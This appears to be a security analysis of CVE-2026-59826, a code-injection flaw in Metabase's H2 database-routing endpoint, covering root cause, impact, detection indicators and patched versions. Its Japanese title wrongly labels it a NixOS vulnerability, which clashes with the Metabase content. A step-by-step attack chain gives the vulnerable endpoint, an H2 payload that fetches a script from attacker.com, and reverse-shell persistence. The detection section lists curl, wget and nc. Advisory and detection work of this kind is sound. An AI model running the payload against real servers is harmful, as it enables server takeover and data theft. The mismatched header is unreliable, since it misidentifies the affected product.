CVE-2026-59826: 
NixOS 脆弱性の分析と軽減

CVE-2026-59826 is a critical arbitrary code execution vulnerability in Metabase, an open-source business intelligence and embedded analytics platform. The flaw allows an authenticated administrator to register a crafted H2 database connection with unsafe connection properties, resulting in arbitrary Java code execution on the Metabase server. It affects versions from 1.55.0 up to (but not including) 1.58.15.1, 1.59.12, 1.60.6.3 (or 1.60.7 per the advisory), and 1.61.2. The vulnerability was published on July 9, 2026, and was reported by security researcher Nasanbat Ganbold (Nasaa_0x). It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory).

The root cause is improper input validation (CWE-94: Code Injection) on a specific database-creation code path — specifically the /destination-database API endpoint used for database routing — which did not invoke the validate-db-details! check that the standard POST /api/database endpoint applied. The H2 database driver's safety validation (which blocks dangerous connection properties such as INIT) was only enforced in the can-connect? method, not in the separate creation path. An attacker with administrator credentials could supply an H2 JDBC connection string containing an INIT property (e.g., INIT=RUNSCRIPT FROM '...') to execute arbitrary Java/SQL commands on the server at connection time. The fix introduced a new validate-db-details! multimethod that is called independently of connectivity checks, ensuring unsafe H2 and MySQL connection properties are rejected on all code paths (GitHub Advisory, Fix Commit).

Successful exploitation grants the attacker full control over the Metabase server process, with high impact to confidentiality, integrity, and availability. An attacker can execute arbitrary Java code, read or exfiltrate sensitive data (including all business intelligence data and credentials stored in Metabase), modify or destroy data, and potentially pivot to other internal systems accessible from the server. Because the scope is marked as "Changed," the impact extends beyond the Metabase application itself to the underlying host and connected infrastructure (GitHub Advisory).

Exploitation requires authenticated administrator-level access to the Metabase instance, which limits opportunistic exploitation but remains a significant risk in environments with multiple admins or compromised credentials. The EPSS score is approximately 0.39%, indicating a relatively low (but non-negligible) probability of exploitation in the wild in the near term. A PoC or exploit reference appeared on Sploitus around July 13, 2026, and a technical write-up was published on July 17, 2026, suggesting public exploit details are available. There is no current CISA KEV catalog listing, and no confirmed in-the-wild exploitation has been reported as of the available data (GitHub Advisory, Sploitus).

1. Reconnaissance: Identify Metabase instances running affected versions (1.55.0–1.58.15.0, 1.59.0–1.59.11, 1.60.0–1.60.6.2, 1.61.0–1.61.1) using Shodan, Censys, or similar tools. Look for exposed Metabase login pages.
2. Obtain Administrator Credentials: Authenticate to the Metabase instance using valid administrator credentials (obtained via phishing, credential stuffing, or insider access).
3. Identify the Vulnerable Endpoint: Target the database routing API endpoint POST /api/ee/database-routing/destination-database, which skips the standard connection detail validation.
4. Craft Malicious H2 Connection String: Construct an H2 JDBC connection string that includes the INIT property to execute arbitrary commands, e.g., jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/payload.sql' or using INIT=CREATE ALIAS EXEC AS $$ ... $$\;CALL EXEC('...') for in-memory code execution.
5. Register the Malicious Database: Submit a POST request to the destination-database endpoint with the crafted H2 connection details. Because validate-db-details! is not called on this path in vulnerable versions, the INIT property is not blocked.
6. Trigger Code Execution: The H2 engine processes the INIT script upon connection, executing the attacker-controlled Java or SQL payload on the Metabase server with the privileges of the Metabase process.
7. Establish Persistence: Use the code execution to deploy a reverse shell, web shell, or scheduled task for persistent access and lateral movement (GitHub Advisory, Fix Commit).

• Network: Outbound HTTP/HTTPS connections from the Metabase server process to unexpected external hosts (e.g., attacker-controlled servers for payload retrieval or reverse shells); unusual DNS lookups originating from the Metabase JVM process.
• Logs: Metabase API access logs showing POST requests to /api/ee/database-routing/destination-database with H2 engine type and unusual or encoded connection strings; Java exceptions or stack traces in Metabase logs referencing H2 INIT script execution or RUNSCRIPT.
• File System: Unexpected scripts, JARs, or executables written to the Metabase working directory or /tmp; new cron jobs or systemd services created by the Metabase service account.
• Process: Unusual child processes spawned by the Metabase Java process (e.g., bash, sh, curl, wget, python, nc); unexpected network listeners opened by the JVM.

Metabase has released patched versions that introduce the validate-db-details! multimethod to enforce H2 connection property validation on all code paths. Administrators should upgrade to one of the following fixed versions immediately: 1.58.15.1 (OSS: 0.58.15.1), 1.59.12 (OSS: 0.59.12), 1.60.7 (OSS: 0.60.7), or 1.61.2 (OSS: 0.61.2). As a temporary workaround where upgrading is not immediately possible, restrict administrator access to trusted users only and consider network-level controls to limit access to the Metabase admin interface. There are no known configuration-only mitigations that fully prevent exploitation without patching (GitHub Advisory, Release v0.58.15.1, Release v0.59.12, Release v0.60.6.3).

The vulnerability was credited to researcher Nasanbat Ganbold (Nasaa_0x) in the official Metabase security advisory. A technical write-up was published on July 17, 2026, at no.security, and a PoC week summary referencing the vulnerability appeared on July 20, 2026. The CVE attracted standard aggregation coverage from Tenable, VulnDB, INCIBE, and CVE tracking services shortly after disclosure (GitHub Advisory).